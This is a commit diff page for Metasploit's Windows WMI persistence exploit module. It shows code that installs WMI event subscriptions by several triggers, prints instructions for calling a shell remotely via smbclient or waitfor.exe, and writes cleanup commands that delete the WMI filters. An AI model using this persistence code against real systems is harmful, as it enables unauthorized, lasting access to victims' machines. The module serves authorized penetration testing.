Skip to content

Commit aa18598

Browse files
committed
updated cleanup method to remove_persistence to prevent creating rc file even if module fails
1 parent 655358c commit aa18598

File tree

1 file changed

+28
-38
lines changed

1 file changed

+28
-38
lines changed

modules/exploits/windows/local/wmi_persistence.rb

Lines changed: 28 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -95,24 +95,24 @@ def exploit
9595
when 'LOGON'
9696
psh_exec(subscription_logon)
9797
print_good "Persistence installed!"
98-
@cleanup
98+
remove_persistence
9999
when 'INTERVAL'
100100
psh_exec(subscription_interval)
101101
print_good "Persistence installed!"
102-
@cleanup
102+
remove_persistence
103103
when 'EVENT'
104104
psh_exec(subscription_event)
105105
print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\<target_ip>\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
106-
@cleanup
106+
remove_persistence
107107
when 'PROCESS'
108108
psh_exec(subscription_process)
109109
print_good "Persistence installed!"
110-
@cleanup
110+
remove_persistence
111111
when 'WAITFOR'
112112
psh_exec(subscription_waitfor)
113-
cmd_exec("waitfor.exe #{datastore['WAITFOR_TRIGGER']}, time_out = 0")
113+
cmd_exec("waitfor.exe", args = " #{datastore['WAITFOR_TRIGGER']}")
114114
print_good "Persistence installed! Call a shell using \"waitfor.exe /S <target_ip> /SI "+datastore['WAITFOR_TRIGGER']+"\""
115-
@cleanup
115+
remove_persistence
116116
end
117117
end
118118

@@ -193,44 +193,34 @@ def subscription_waitfor
193193
end
194194

195195

196-
def log_file(log_path = nil) # Thanks Meatballs for this
196+
def log_file
197197
host = session.session_host
198198
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
199-
if log_path
200-
logs = ::File.join(log_path, 'logs', 'wmi_persistence',
201-
Rex::FileUtils.clean_path(host + filenameinfo))
202-
else
203-
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
204-
Rex::FileUtils.clean_path(host + filenameinfo))
205-
end
199+
logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
200+
Rex::FileUtils.clean_path(host + filenameinfo))
206201
::FileUtils.mkdir_p(logs)
207202
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
208-
logfile
209203
end
210204

211205

212-
def cleanup
213-
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
214-
name_class = datastore['CLASSNAME']
215-
clean_rc = log_file()
216-
clean_up_rc = ""
217-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
218-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
219-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
220-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
221-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
222-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
223-
file_local_write(clean_rc, clean_up_rc)
224-
print_status("Clean up Meterpreter RC file: #{clean_rc}")
225-
else
226-
name_class = datastore['CLASSNAME']
227-
clean_rc = log_file()
228-
clean_up_rc = ""
229-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
230-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
231-
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
232-
file_local_write(clean_rc, clean_up_rc)
233-
print_status("Clean up Meterpreter RC file: #{clean_rc}")
234-
end
206+
def remove_persistence
207+
name_class = datastore['CLASSNAME']
208+
clean_rc = log_file
209+
if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
210+
clean_up_rc = ""
211+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
212+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
213+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
214+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
215+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
216+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
217+
else
218+
clean_up_rc = ""
219+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
220+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
221+
clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
222+
end
223+
file_local_write(clean_rc, clean_up_rc)
224+
print_status("Clean up Meterpreter RC file: #{clean_rc}")
235225
end
236226
end

0 commit comments

Comments
 (0)